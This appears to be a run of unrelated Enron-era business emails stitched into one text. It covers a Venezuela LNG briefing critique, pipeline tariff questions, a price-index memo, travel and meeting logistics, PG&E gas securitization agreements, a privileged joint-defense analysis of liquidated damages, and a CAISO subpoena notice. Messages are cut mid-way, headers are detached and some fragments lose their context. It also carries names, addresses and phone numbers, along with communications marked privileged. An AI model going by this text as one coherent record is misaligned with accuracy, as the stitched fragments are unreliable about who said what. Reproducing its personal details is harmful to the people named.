NEW Conference Room 	EB 751

I sent this along to Molly, because, while I hate to admit it, I think she 
might be better suited to such a daunting task.

K

Anna Symes <annasymes@yahoo.com> on 04/11/2001 09:54:14 AM
To: "Kate.Symes@enron.com" <Kate.Symes@enron.com>
cc:  

Subject: I thought you might be interested...

  To: Kate.Symes@enron.com
From: Anna Symes

I thought you might be interested in this job.  It's just one of the
more than 250,000 great jobs on Headhunter.net:

  http://www.headhunter.net/share/det.asp?d=J26K66D0YJBB4DWPWJ

Comments:

Robert,
Please find below my comments to your second paper on the Venezuelan Energy 
outlook:
Objective of the document. The document serves as a briefing paper for a 
visit that has a specific object, the promotion of the LNG Project. The 
evaluation, therefore, should be made in that light, and at most in reference 
to future Enron projects (basically, constrained to the gas business 
downstream.) References to the Oil industry, and given the comments below, to 
the Hydrocarbons Law, should be minimized, as they are of marginal 
importance. The document on the political outlook, on the other hand, 
sufficiently covers the implications of a reduction in oil revenues.
Gas Law vs. Hydrocarbons Law. It is not only my belief, but of many 
participants in the industry, that the Gas Law will be preserved as it is and 
will not be abrogated by the new Hydrocarbons Law. The source of the 
confusion might be that the Hydrocarbons Law will encompass the Exploration 
and Production of associated gas (gas "associated" to the production of oil.) 
The other stages, as well as E&P of non-associated or free gas are regulated 
by the Gas Law. Therefore, all references to this issue should be eliminated.
Hydrocarbons Law. The only copy of the Hydrocarbons Law available for review 
is the original draft that was part of the set of energy laws that were 
approved in 1999: Electricity, Mines and Gas. It was acknowledged that the 
original Hydrocarbons Law had significant deficiencies and for this reason it 
was delayed. Currently, only a petit committee is working on the new version, 
basically the Ministry's Counsel and the Minister himself. A high ranking 
official assured me that the draft would be circulated among investors before 
approval to repeat the success achieved with the Telecommunications Law. The 
draft in circulation (that BTW was very hard to find given its deficiencies), 
however, clearly stipulates that it does not cover the non-associated gas. 
PDVSA as policymaker. Some actions by the Chavez Administration are highly 
rational and in the interests of the investors (see my comments to the 
political outlook document.) For example, the fact that PDVSA is loosing its 
ability to set policies is, in theory, appropriate. It must be recognized 
that PDVSA, as a monopoly of the Venezuelan Oil and Gas Industry, behaves 
like one. Therefore, the policies it sets are in its interests and not 
necessarily in the interest of the industry, or the country. An example is 
tariffs for integrated operations. In this respect, the Gas Law clearly 
separates the activities of production, transportation and distribution in 
order to minimize the exercise of monopoly power. 
MEM as policymaker. It must be acknowledged that the Ministry of Energy and 
Mines lacks many tools and abilities to formulate policies, but also that 
they are making a significant effort to overcome these shortcomings. MEM is 
handling very complex processes, and naively believed that they could produce 
all the regulations within an unrealistic time frame This lack of experience 
(as well as lack of leadership, I must admit) is the source of delays.
Contract renegotiations. Contract renegotiations have been made at the 
request of investors. Some investors are loosing money big time, but this is 
the nature of the E&P business (no wonder we got out of it!)
Quality of PDVSA personnel. It is acknowledged that PDVSA is not the best run 
company in the world and that a significant human capital has been lost in 
recent years. It is my experience as well as others in Enron, however, that 
there is still people sophisticated enough to do business with, as evidenced 
in the complexity of the Gas Supply Agreement and the Participation Agreement 
of the LNG Project and the regulations and tariffs of transportation services.
ENAGAS, the regulatory entity (not ENERGAS). It is acknowledged that ENAGAS 
lacks independence from the Administration, that it is little developed and 
that it is still not fully formed. I have had two meetings with the heads of 
the regulatory agency explaining who we are, what we want and how we plan to 
achieve it, and they responded with clear goals, admitted the conflicts they 
face, and how they plan to do about them. We are not completely satisfied 
with the results, but now there is a much better understanding of what each 
is looking for (and more hope that the project will go forward.)
I honestly believe that the document requires significant redrafting, in 
particular those aspects that highlight risks immaterial to the project such 
as the behavior of the domestic market in the short term,  or that are 
speculative (e.g., the behavior of large foreign firms), contradictory (e.g., 
break-even of $1.200 per capita in oil revenue vs. growth in GDP with only 
$500 per capita in oil revenues), and/or repetitive. I have specific comments 
that I think would be more effective if I gave them to you verbally. Please 
call me if you have any questions,
ALF

Robert Johnston@ECT
01/29/2001 04:44 PM
To: Alberto Levy/SA/Enron@Enron
cc: Scott Tholan/Corp/Enron@Enron, Emilio 
Vicens/ENRON_DEVELOPMENT@ENRON_DEVELOPMENt 

Subject: Venezuela Briefing Paper

Hi Alberto:

I work with Scott Tholan, who asked me to forward our draft briefing paper on 
Venezuela.  Per his message this morning we need a quick turnaround on this 
paper in order to get the final copy to Mike McConnell on Wednesday.  The 
comments from Emilio Vicens on the original draft have been incorporated, to 
clean up some technical errors and reduce the emphasis on the oil sector.

Manager, Political and Sovereign Risk
713-853-9934

In conjunction with these items, I've been working on a document which addresses alot of these, I'll send it out even though it is in draft form.  It primarily deals with capacity posting rules and procedures to assure we retain what we did the other week.  MK

Drew Fossum
01/30/2001 02:19 PM
To:	Steven Harris/ET&S/Enron@ENRON, Kevin Hyatt/ET&S/Enron@Enron, Susan Scott/ET&S/Enron@ENRON, Maria Pavlou/Enron@EnronXGate, Lee Huber/ET&S/Enron@ENRON, Mary Kay Miller/ET&S/Enron@ENRON, Glen Hass/ET&S/Enron@ENRON
cc:	Shelley Corman/Enron@EnronXGate 

Subject:	TW

In the last several weeks several areas have come up where the TW commercial team could, in my opinion, use some clear written guidance on gray areas under the tariff ought to be interpreted.  Here is my list.  Please add items if I've missed any.

1.  When can TW "selectively market" available capacity?   I.e., if capacity is on the board as available, and no one has bought it, are there any limits on calling up a customer, or a group of customers, and pitching a deal?  I think we have a lot of discretion here--after all, using the telephone to talk to one customer is always "selective" since there's only one guy on the phone, not all our customers.  Also, can we deliberately leave a customer off the list of "the usual suspects" we call to pitch a special deal like an index to index deal or a discount?  I've asked Lee to pull together a quick analysis of this issue.  

2.  If we get multiple bids for a chunk of capacity outside of the open season context, how do we allocate it?  This is the situation we got into a couple of weeks ago on the '02 and '03 space.  Are we always required to use a lottery?  Do we need to modify the tariff to use pro rata, or can we use pro rata simply by notifying the customers in advance?

3.  What approval process applies to max rate contracts and negotiated rate contracts?  The ET&S discount approval procedure still applies to TW discounted deals (even there is no ET&S anymore).  I think all neg. rate deals should be approved by law and regulatory, but I don't need to see max rate strd language deals.    
4.  ???  I think there was another issue, but I can't remember what it was.  

Thanks for your input on this.  DF

please forward to all in our group.

thank you.
---------------------- Forwarded by Scott Neal/HOU/ECT on 12/13/2000 08:21 PM 

David Forster@ENRON
12/12/2000 05:32 PM
To: Scott Neal/HOU/ECT@ECT, Hunter S Shively/HOU/ECT@ECT, Phillip K 
Allen/HOU/ECT@ECT, Thomas A Martin/HOU/ECT@ECT
cc:  
Subject: Gas Daily Electronic Index

Please note that as of Wednesday, December 13, Gas Daily will begin 
publishing an Electronic Trading Index for the gas market. We will be 
contributing to this index, which will show prices similar to those currently 
available in the EnronOnline Content section under "EnronOnline Price 
Reports".

If you or others in your organization get questions from customers or media, 
please refer to the following points regarding the message we're trying to 
promote:
An increasing number of transactions done online are proving the 
"staying-power" of the platforms and are legitimizing transaction data from 
them.
Ideally, these numbers should be audited before being given to the 
publications so as to minimize reporting errors.  EnronOnline's numbers are 
audited by Arthur Andersen on a periodic basis.
An increased participation from the other platforms will allow these indices 
gain more credibility/appeal and encourage customers to settle on them.

Please forward this email to appropriate people in your dept.

If you have any questions on the above, please contact Rahil Jafry on 33206.

Thanks,

Dave

During the week between Christmas and New Year's if you need rate, tariff or other regulatory assistance, please contact Tim Kissner (7068) on Wednesday and Thursday, Keith Petersen (7421) on Friday and Monday the 31st.  They will be able to contact any other resources to assure any questions, contracts or issues are expeditously handled.   

Have a Great Holiday!!!

Mary Kay  

good job.

From: Cherry, Diane - PSP [mailto:dcherry@bpa.gov]
Sent: Monday, October 22, 2001 12:58 PM
To: 'Sean Crandall'
Subject: FW: Diane Cherry

Just to share.

From: 	Norman, Paul - P  
Sent:	Friday, October 19, 2001 1:15 PM
To:	Cherry, Diane - PSP
Subject:	FW: Diane Cherry

In case I did not already say so, this is a great move for us, and hopefully
for you.  We need a big step-up in risk management in PBL and agency-wide.
You will help us get there.

From: 	Bleifuss, Edward L - PMM-5  
Sent:	Friday, October 19, 2001 8:07 AM
To:	PBL  All (BPA)
Subject:	Diane Cherry

	I'm pleased to inform you that Diane Cherry will be joining the Risk
Management Group on an informal detail to help us get the PBL Risk Strategy
completed.  The detail begins immediately.  Her skills and talents will be
particularly helpful in  acheiving buy-in across the PBL, facilitating
discussions, integrating the risk strategy work with the PBL indicators
project, integrating with the Corporate review of PBL risk practices,
leading change efforts and cultural issues, and generally structuring and
following a process that will be successful in getting a strategy in place
and implementation underway.  She will be accompanying me at first in a wide
variety of risk related activities/meetings to 'get her bearings'.    The
duration of this assignment is open ended but expected to last several
months.  Please welcome her and treat her as one of our team members. 

The start time for Tuesday morning has been changed from 9am to 8am.  
Breakfast will be served at 7:30.  Therefore, shuttle pick up times at the 
hotel for Tuesday morning have been changed to 7:10, 7:25, and 7:40 am.  
Again, the last shuttle is not recommended if you intend to have breakfast at 
the ASE.

Some of you had asked about a coordinated dinner for Sunday night.  Since 
arrival times into Dallas vary greatly, we are leaving you to your own 
devices for Sunday night.  We are however, planning a group dinner for Monday 
night after we wrap up for the day.  We will arrange transportation from the 
ASE to the restaurant and from the restaurant back to the hotel.  Currently, 
Monday's agenda shows a completion time of 6:30pm.  Therefore, we are 
planning to head to dinner directly from the ASE without a break or trip back 
to the hotel. 

Date:  Monday, December 4
  or Katherine Brown (713/345-7774) for the weekly dial-in number and 
passcode.

 Yes, I will attend in person _______

*  *  *

December 1.

Thank you, 
Katherine

who sings that 80's song  "harley davidson - of a bitch".  that is the corus.

Attached is a note on UI Standard Offer service by EPMI.

Please send comments to Sandi McCubbin.

I faxed the original to 916-448-0816.

May help on hotel rooms
m
---------------------- Forwarded by Mike McConnell/HOU/ECT on 12/11/2000 
04:04 PM ---------------------------

"Jonny Jones" <jjones@jonesenergy.com> on 12/11/2000 09:28:01 AM
cc:  
Subject: RE: OU

Mike,

We are not sure when we are going down.  There are rooms available through
O.U.  Go to http://www.ou.edu.  Click University of Oklahoma Official Bowl
Tour information and follow to the hotel information.  Look forward to
seeing you guys and I will keep you posted when we finalzie our plans.

JJ

From: <Mike.McConnell@enron.com>
To: <jjones@jonesenergy.com>
Subject: OU
Date: Thu, 7 Dec 2000 17:30:38 -0600
Message-ID: <OF88D1E503.73F7E534-ON862569AE.008107F9@enron.com>
boundary="----=_NextPart_000_000B_01C06354.A8487F20"
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
March 2000) at12/07/2000 05:26:57 PM

---------------------- Forwarded by Mike McConnell/HOU/ECT on 12/07/2000
05:28 PM ---------------------------

 (Embedded
 to file:      From:  Mike McConnell
 pic26477.pcx) 12/07/2000 05:28 PM

To:   Mike McConnell/HOU/ECT@ECT
cc:
Subject:  OU  (Document link: Mike McConnell)

Pup,

Mark and I are confirmed with flights.  Chris is not coming.  Where are you
staying, any good hotel ideas.  Mark had a room for 1 night by the stadium
but now i think we will fly in on Tues early afternoon and mess around
Miami and therefor  may want to stay closer to the city.  Any thoughts?
When are you guys flying in?

mike

 - pic26477.pcx

The report named: East P/L Totals <http://trv.corp.enron.com/linkFromExcel.asp?report_cd=1&report_name=East+P/L+Totals&category_cd=1&category_name=EAST&toc_hide=1&sTV1=1&TV1Exp=Y&current_efct_date=12/14/2001>, published as of 12/14/2001 is now available for viewing on the website.

----- Forwarded by Steven J Kean/NA/Enron on 02/07/2001 07:32 AM -----

	02/06/2001 04:54 PM
		 
		 To: Steven J Kean/NA/Enron@Enron, David W Delainey/HOU/ECT@ECT, John J 
Lavorato/Corp/Enron
		 cc: 
		 Subject: URG: Revised Gas Securitization Agreements

Here is a revised version of what I forwarded earlier.  If I should send them 
to someone else, please let me know...SRS
---------------------- Forwarded by Sherri Sera/Corp/Enron on 02/06/2001 
04:55 PM ---------------------------

"Jauregui, Robert M" <RMJ4@pge.com> on 02/06/2001 04:28:53 PM
To: "'hans@cook-inlet.com'" <hans@cook-inlet.com>, "'prez@cook-inlet.com'"  
<prez@cook-inlet.com>, "'davidyi@cook-inlet.com'"  <davidyi@cook-inlet.com>, 
"'dronn@mayerbrown.com'"  <dronn@mayerbrown.com>, 
<scampbell@txuenergy.com>
<EFM2@pge.com>, "'dmao@orrick.com'"  <dmao@orrick.com> 

Subject: URG:  Revised Gas Securitization Agreements

 <<Gas Supplier Security Agreement.DOC>>  <<Gas Supplier Security
Agreement.DOC>>  <<Gas Supplier and Collateral Agency Intercreditor
Agreement.DOC>>

Please disregard my 2/6/01, 1:01pm e-mail.  Attached is the latest version
for your review and execution.

> From:  Jauregui, Robert M
> Sent: Tuesday, February 06, 2001 1:01 PM
> To: 'hans@cook-inlet.com'; 'prez@cook-inlet.com';
> 'davidyi@cook-inlet.com'; 'dronn@mayerbrown.com';
> 'swidner@coral-energy.com'; 'blong@coral-energy.com';
> 'ctise@coral-energy.com'; 'jeff.skilling@enron.com';
> 'william.s.bradford@enron.com'; 'travis.mccullough@enron.com';
> 'ICCEnergy@aol.com'; 'stefkatz@cs.com'; 'msessa@sempratrading.com';
> 'dfelsinger@sempra.com'; 'mcosta@stroock.com'; 'jshorter@txuenergy.com';
> 'mperkins2@txuelectric.com'; 'cenochs@txuenergy.com';
> 'bjeffrie@westerngas.com'; 'ryanmcgeachie@aec.ca'; 'richarddaniel@aec.ca';
> 'jones.murphy@williams.com'; 'randall.o'neal@williams.com';
> 'kelly.knowlton@williams.com'; 'connie.turner@williams.com';
> 'scampbell@txuenergy.com'
> Cc: 'jlopes@hrice.com'; 'jnexon@hrice.com'; Buchsbaum, Craig M (Corp);
> Whelan, Steve (Corp); Lee, Fanny; Berkovitz, Trista; Clare, David; Woo,
> Shirley A (Law); McLafferty, Daniel; Cotroneo, Eileen; 'dmao@orrick.com'
> Subject: URG:  Gas Securitization Agreements
> Sensitivity: Private
>
>  << File: Gas Supplier and Collateral Agency Intercreditor Agreement.DOC
> >>  << File: Gas Supplier Security Agreement.DOC >>  << File: Gas Supplier
> and Collateral Agency Intercreditor Agreement.DOC >>  << File: Gas
> Supplier Security Agreement.DOC >>
>
>
>
> Attached are revised versions of the gas supplier security agreement and
> the intercreditor agreement, marked to show changes against the draft
> dated February 2, 2001.
>
> In addition I have included the unmarked versions of these documents for
> execution.  Please arrange to have the agreements executed on behalf of
> your organization and fax the signature pages to me.  I would appreciate
> you sending three executed original signature pages to me by overnight
> mail; I will return fully executed counterparts to you.
>
> You will note that we assembled the addresses for notices on Schedule I
> based on available information.  Please make any corrections necessary to
> this notice section before signing.  Also note that we have limited the
> address for notices for each legal entity to one address, and have not
> included copies for attorneys and the like. We anticipate that the list of
> addresses for notices will grow to be very long and would like to limit
> the addresses to which various notices and reports will be sent.  Please
> be sure that the person designated to receive notices on behalf of your
> organization will be able to forward copies to the other persons who need
> to receive them.
>
> Please forward all correspondence to:
>
> Trista Berkovitz
> Director, Gas Procurement
> Pacific Gas and Electric Company
> 77 Beale Street, Room 553
> San Francisco, CA  94105-1814
> 415. 973.2152 (bus)
> 415.973.9213 (fax)
>
> NOTICE TO RECIPIENT:  THIS E-MAIL IS  MEANT FOR ONLY THE INTENDED
> RECIPIENT OF THE TRANSMISSION, AND MAY BE A COMMUNICATION PRIVILEGED BY
> LAW.  IF YOU RECEIVED THIS E-MAIL IN ERROR, ANY REVIEW, USE,
> DISSEMINATION, DISTRIBUTION, OR COPYING OF THIS E-MAIL IS STRICTLY
> PROHIBITED.  PLEASE NOTIFY US IMMEDIATELY OF THE ERROR BY RETURN E-MAIL
> AND PLEASE DELETE THIS MESSAGE FROM YOUR SYSTEM. THANK YOU IN ADVANCE FOR
> YOUR COOPERATION.
>
>

 - Gas Supplier Security Agreement.DOC
 - Gas Supplier and Collateral Agency Intercreditor Agreement.DOC

Mr. Baughman

I am highly interested in this position.  I have limited knowledge of the power industry through exposure to underwriting, notional pricing, commodity structuring, and my risk mgmt groups.

My best qualifying strength:  highly aggressive, professional personality.   

Please call to discuss.  

Regards

Dennis Brown
ext 55050

My T1 is down

Shirley,

Please, remind me about making arrangements for this trip later this week.

Vince

09:40 AM ---------------------------

"Piazze, Thomas" <piazzet@wharton.upenn.edu> on 04/05/2000 02:47:10 PM
cc:  
Subject: RE: Test

Vince:  My schedule indicates that should be a good day to be on campus, so
let's plan for it.

Please forward to me those brief topic write-ups you promised so that I can
schedule appropriate faculty to meet with you.

Thanks.

TOM

> From: Vince.J.Kaminski@enron.com [SMTP:Vince.J.Kaminski@enron.com]
> Sent: Wednesday, April 05, 2000 11:08 AM
> To: piazzet@wharton.upenn.edu
> Cc: Vince.J.Kaminski@enron.com; Shirley.Crenshaw@enron.com
> Subject: RE: Test
>
>
> Tom,
>
> The conference in New York is held on  May 18 and May 19. I can visit
> Wharton
> the day before.
>
> Vince Kaminski
>
>
>
>
> "Piazze, Thomas" <piazzet@wharton.upenn.edu> on 04/05/2000 08:40:55 AM
>
> To:   "'Vince J Kaminski'" <Vince.J.Kaminski@enron.com>
> cc:
> Subject:  RE: Test
>
>
> Vince:  I enjoyed talking with you yesterday and look forward to receiving
> information relative to your visit to campus.
>
> TOM PIAZZE
>
> > From:   Vince J Kaminski [SMTP:Vince.J.Kaminski@enron.com]
> > Sent:   Tuesday, April 04, 2000 4:52 PM
> > To:     piazzet@wharton.upenn.edu
> > Subject:     Test
> >
> >
> >
> > Test
> >
>
>
> 

Sam,

Let's include this week points 1.1 and 1.2. It's by Martin and Shaleesh.

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 01/08/2001 

01/04/2001 05:34 PM
cc:  
Subject: IP technical document

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 01/04/2001 
From: Martin Lin on 01/04/2001 02:15 PM
cc:  

Please find attached a PDF version of the IP technical document.  Comments 
are appreciated.  If there are any changes that you need, please let me know.

Thanks,
Martin

fyi
---------------------- Forwarded by Jeffrey A Shankman/HOU/ECT on 11/27/2000 
12:11 PM ---------------------------

Paul Quilkey@ENRON_DEVELOPMENT
11/27/2000 02:13 AM
To: Jeffrey A Shankman@ECT
cc:  
Subject: X

Jeff
To reconfirm our discussion Sunday:
RMB indicated to Talbot to find buyer for his business - short list to be 
presented to board on 15 Dec
RMB electricity book under water and may present opportunity to lever out 
Talbot's business as part of combined package
There is an immediate opportunity to finalise due diligence and avoid any 
"beauty competitions" for Talbot's business

Steps required:
CA to be presented to RMB on Tue (Aust time).  CA to contain period of 
exclusivity to conduct due diligence (see attached)
Enron to decide on due diligence team and be ready in Australia Thursday for 
commencement
SPV structure to be resolved 

Goal is to get an Memorandum of Understanding signed by 12 December should we 
chose to progress.

I will call your Monday to discuss.

Paul

Here is another email about theTrust's damage theories about which I wrote
in an earlier email.  YOu may want to print this out until you get through
the 3-4 emails I"m forwarding to you about this subject.  Thanks.
---------------------- Forwarded by Melanie Gray/HO/WGM/US on 01/30/2001

"Greenswag, Douglas" <douglas.greenswag@leonard.com> on 01/30/2001 08:37:29
AM
cc:   "Beth Nelson" <beth.nelson@leonard.com>, "Catherine Horton-Morin"
      <catherine.hortonmorin@leonard.com>, "Catherine McEnroe"
      <catherine.mcenroe@leonard.com>, "Dan Oberdorfer"
      <dan.oberdorfer@leonard.com>, "Eric A. Henzy Esq. (E-mail)"
      <ehenzy@reidandriege.com>, "James Bertrand"
      <james.bertrand@leonard.com>, "Noah Hall" <noah.hall@leonard.com>
Subject:  RE: Could this be Trust counsel's argument?

?Leonard, Street and Deinard
Joint Defense Group Privileged Communication

January 30, 2001

Re:  Trust's Damage Theory.

Dear Counsel:

I think Tim is correct when he lays out the Trust's damage theory.   While
we should anticipate it and have a response in our brief, I suggest there
are a number of flaws.

1.   The damage language for Seller non-delivery expressly provides that
no damages are allowed where the non-delivery was "caused" by the buyer.
"Cause" is an undefined term as far as I can see.   We will, of course,
argue that cause necessarily includes PCA's prospective inability to
perform
and its actual business failure.  If "cause" were limited to situations
where the buyer affirmatively refuses to take the power, then a dying
marketer could  make millions simply by keeping its mouth shut.

2.   The logical extension of the Trust's argument (that you have to run
through the two step damage analysis regardless of the reasons for one
party's failure to perform) is that, as noted above, a shaky marketer could
time its failure in a rising market and thus assert millions in damage
claims by never telling counterparties it would not accept delivery of
power.

3.   The Trust's argument presupposes that we had no legal right to
demand adequate assurance and take steps to protect ourselves.  The
reference to the "exclusive" nature of the damage remedy has nothing to do
with our right to demand adequate assurance.  Rather, that remedy provision
expresses the "exclusive" means for calculating the amount of damages in
the
event the seller breaches, and does not address the question of whether, in
fact, the seller actually breached the contract.

Regards.

Douglas B. Greenswag, Esq.
Leonard, Street and Deinard
150 S. Fifth Street, Suite 2300
Minneapolis, MN 55402

Phone:? (612) 335-1527
Fax:????? (612) 335-1657
Email:??? Douglas.Greenswag@leonard.com
<mailto:Douglas.Greenswag@leonard.com>

THIS MESSAGE IS PRIVILEGED AND CONFIDENTIAL

NOTICE:  The information contained in this electronic mail transmission
is intended by Leonard, Street and Deinard for the use of the named
individual or entity to which it is directed and may contain information
that is privileged or otherwise confidential.  It is not intended for
transmission to, or receipt by, anyone other than the named addressee
(or a person authorized to deliver it to the named addressee).  It
should not be copied or forwarded to any unauthorized persons.  If you
have received this electronic mail transmission in error, please delete
it from your system without copying or forwarding it, and notify the
sender of the error by reply email or by calling Leonard, Street and
Deinard at (612) 335-1500 (collect), so that our address record can be

From: Baird, Tim [mailto:tim.baird@troutmansanders.com]
Sent: Monday, January 29, 2001 7:02 PM
To: Billeck, Jason; Casher, Dick; Dweck, Jake; Fisher, Mark; Goldberg,
Tom; Gray, Melanie; Greenswag, Douglas; Hedberg, Steven; Henzy, Eric;
Jim Nolan; MacIntyre, Bruce; Martini, Deidre; McFarland, Mitch; Murphy,
Rick; Oberdorfer, Dan; Stenglein, Mike; Steve Northup; Strasburger,
John; Tim Baird; Trostle, Patrick; Turner, Paul; Zuch, Sharyn
Subject: Could this be Trust counsel's argument?

Troutman Sanders Mays & Valentine LLP

                         Timothy S. Baird
                         Phone:  (804)  697-1227
                         Fax: (804) 697-1339
                         tim.baird@troutmansanders.com

Joint Defense Privileged Communication

Group -

Paul Turner and I were discussing the following interpretation of the
liquidated damages clause in PCA's confirmations, which we believe is
likely
going to be Trust counsel's argument in the mediation.

The language of the liquidated damages provision (LD Provision), which I
have simplified, is as follows:

"Damages for Non-Performance

(1) For this firm transaction, if the Buyer fails to schedule and/or to
receive the Quantity, where such failure was not excused . . . by Seller,
Buyer shall pay Seller (on the date payment would otherwise be due under
this transaction) an amount for each MWh of such deficiency equaling the
sum
of: (i) [the contract price] minus (ii) [the market price]; provided
however, if the amount determined in the preceding clause is negative, then
the amount shall be equal to zero for purposes of calculating the
deficiency
payment.

(2) For this firm transaction, if the Seller fails to schedule and/or to
deliver the Quantity, where such failure was not excused . . . by Buyer,
Seller shall pay Buyer (on the date payment would otherwise be due under
sum
of: (i) [the market price] minus (ii) [the contract price]; provided
payment.

(3) [acknowledgement that these provisions are for liquidated damages and
not a penalty]

(4) [exclusive remedy provision]"

To illustrate how I think that the Trust interprets this LD Provision, lets
assume that PGET had a contract to sell power to PCA for delivery at
Cinergy
during July-August 1998 at a price of $50/MWH ("the Transaction").  Let's
assume that, based on PCA's payment or delivery defaults, PGET terminates
the Transaction and all other forward transactions with PCA in late June
1998.  Let's assume further that the market price for power at Cinergy was
$100/MWH on the date of termination (without getting into whether you look
to index price of forward price).

The Trust will argue that PCA failed to schedule and/or receive power from
PGET under the Transaction, and therefore PCA must make "the deficiency
payment" to PGET under clause (1).  Under clause (1), however, this
deficiency payment would be zero.

The Trust will argue further that PGET also failed to schedule and/or
deliver power to PCA under the Transaction, and therefore PGET must make
"the deficiency payment" to PCA under clause (2).  Under clause (2), PGET
would have to make a deficiency payment of $50 times the Quantity.

The Trust will argue further that, under the express contractual language
of
the LD Provision, it doesn't matter whether PCA was able to actually
perform
under the Transaction.  The parties' intent in entering into an agreement
containing the LD Provision was to require each party to pay "the
amount" in the event that the Transaction is not performed.  The only
situation where a party would NOT have to pay "the deficiency amount" is
(a)
in the event of force majeure, or (b) when the other party excuses
performance.  PCA will argue that, regardless of whether it was in default
or unable to perform, it did not excuse performance by PGET under the
Transaction.

The Trust will argue that this is the parties' express contract and sole
remedy in the event of non-performance.  Therefore, the Trust will argue,
it
does not matter whether PCA was able to perform the contracts.  If a
contract was not performed, then the damages are calculated under the LD
Provision.

The Trust will also argue that it does not matter whether PGET had a RIGHT
to terminate the Transaction because of PCA's default.  It only matters
that
the contract was not performed.

Moreover, I am confident that this interpretation of the LD provision is
the
basis for the "positive difference" damages calculation that Peter keeps
referring to.  With regard to damages, I imagine that the Trust will argue
that:

(A) Under direct book-outs, performance is excused; therefore, you net the
contract price of the two contracts.

(B) Under all other transactions, you look solely at whether power was
scheduled and/or delivered.  If not, then you calculate each party's
liquidated damages, with respect to each and every transaction, under
clauses (1) and (2) of the LD Provision.

The advantage this line of argument is obvious:

(1)  It is based on the express language of the confirmation statement that
the Trust will contend was part of the contract;

(2)  It is a simple response to the inability to perform argument; and

(3)  It actually makes sense in the context of a commodities market.

This is what we are going to hear from the Trust in their mediation
submission.

"'Baird, Tim'" <tim.baird@troutmansanders.com>; "Billeck, Jason"
<jason.billeck@weil.com>; "Casher, Dick" <CasherRF@bingham.com>; "Dweck,
Jake" <jdweck@sablaw.com>; "Fisher, Mark" <mfisher@schiffhardin.com>;
"Goldberg, Tom" <tdgoldberg@dbh.com>; "Gray, Melanie"
<melanie.gray@weil.com>; "Greenswag, Douglas"
<douglas.greenswag@leonard.com>; "Hedberg, Steven" <HEDBS@PerkinsCoie.com>;
"Henzy, Eric" <ehenzy@reidandriege.com>; "Jim Nolan" <JNolan@maysval.com>;
"MacIntyre, Bruce" <macib@perkinscoie.com>; "Martini, Deidre"
<d-martini@ibolaw.com>; "McFarland, Mitch" <mmcfarland@lockeliddell.com>;
"Murphy, Rick" <RGMurphy@SABLAW.COM>; "Oberdorfer, Dan"
<dan.oberdorfer@leonard.com>; "Stenglein, Mike" <mike.stenglein@weil.com>;
"Steve Northup" <SNorthup@maysval.com>; "Strasburger, John"
<john.strasburger@weil.com>; "Tim Baird" <TBaird@maysval.com>; "Trostle,
Patrick" <TrostlPJ@bingham.com>; "Turner, Paul" <pturner@SABLAW.COM>;
"Zuch, Sharyn" <SBZ@Wiggin.com>

notify us by telephone (713-546-5000), and destroy the original

----- Forwarded by Susan J Mara/NA/Enron on 12/18/2000 02:02 PM -----

	"Woertz, Byron" <BWoertz@caiso.com>
	Sent by: "Grant, Colleen" <CGrant@caiso.com>
	12/18/2000 01:41 PM
	Please respond to "Sole, Jeanne"
		 
		 To: ISO Market Participants 
		 cc: 
		 Subject: CAISO NOTICE: Bureau of State Audits supoena and document reques t

Market Participants and Scheduling Coordinators: 

On December 4, 2000, the ISO provided notice regarding the subpoena and
document request it received from the Bureau of State Audits ("Bureau") for
information that is confidential under ISO Tariff Section 20.3.2.  This
notices requests Market Participants to treat the detailed data request
issued by the State Auditor as confidential.  In addition this notice
updates Market Participants on the ISO's schedule for compliance with the
State Auditor's subpoena and data request.

The December 4 notice included a detailed data request.  The State Auditor
has informed the ISO that it considers the detailed data request to be a
confidential document and has asked the ISO to inform Market Participants
that received the detailed data request that they should treat the document
as confidential.  The ISO hereby informs Market Participants on behalf of
the State Auditor that the detailed data request should be treated as a
confidential document.

The December 4 notice indicated that the ISO will seek protection for
information subject to Section 20.3.4 under the Confidentiality Agreement
executed by the ISO and the Bureau. The notice requested that any concerns
relating to the Bureau's subpoena and/or document request be communicated to
the ISO by 9:00 a.m., December 8th. In response to the notice, several
market participants have objected to disclosure of confidential information
to the Bureau. 

Section 20.3.4 of the ISO Tariff provides, in pertinent part, that: "The
Market Participant may, at its sole discretion and own cost, direct any
challenge to or defense against the disclosure requirement and the ISO shall
cooperate with such affected Market Participant to the maximum extent
practicable to minimize disclosure of the information consistent with
applicable law." In accordance with that provision, objecting Market
Participants have the responsibility to pursue more restrictive
confidentiality protections to the extent they are disatisfied with the
protections in place.  Accordingly, the ISO through this notice places
Market Participant's on notice that it will release confidential information
requested by the State Auditor by the end of this week, if it does not
receive an order to the contrary from a Court or the Federal Energy
Regulatory Commission by close of business Thursday December 21.  

The Bureau contact related to the subpoena and document request is Sharon
Smagala who can be reached at (916) 445-0255 or sharons@bsa.ca.gov. 

Generally, Market Participants wishing to contact the ISO in regard to the
State Auditor request should direct  correspondence and calls to Beth Ann
Burns at 916-608-7146 bburns@caiso.com <mailto:bburns@caiso.com>   with
copies to Charlie Robinson at crobinson@caiso.com
<mailto:crobinson@caiso.com>  and Norma Formanek at nformanek@fbm.com
<mailto:nformanek@fbm.com> .   This week, due to holiday vacations, Market
Participants should contact Jeanne Sol, 916-608-7144 jsole@caiso.com
<mailto:jsole@caiso.com>  with copies to Beth Ann Burns,  bburns@caiso.com
<mailto:bburns@caiso.com> , Charlie Robinson at crobinson@caiso.com
<mailto:nformanek@fbm.com> .  

Jeanne M. Sol, 
Regulatory Counsel 
California ISO 
_______________________________________ 

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 11/17/2000 

Tarun Mukherjee <tmukherj@uno.edu> on 11/16/2000 10:04:30 AM
To: Vkamins@ect.enron.com
cc: gwhitney@uno.edu, wlane@uno.edu 
Subject: Moffett Chair

Dear Dr. Kaminski,

I invite you to apply  for the  recently announced endowed chair position in
our department. The position, James R. Moffett Chair, is named after the CEO
of Freeport McMoran. You come highly recommended by John martin of Baylor
whose opinion we value greatly.

The attached file provides more information regarding the required
qualification and responsibilities of the Chair.  If you have any question,
please feel free to contact me (I am co-chair of the search committee),
Professor Gerald Whitney (gwhitney@uno.edu, Co-chair of the search
committee), or Dr. Walter (Dub) Lane (wlane@uno.edu, the Department Head).

We look forward to receiving your application soon.

Tarun K. Mukherjee
Professor of Finance and Co-Chair, James R. Moffett Search Committee
Department of Economics and Finance
University of New Orleans
New Orleans, LA 70148
(504)280-7146-Work
(504)-280-6397--Fax

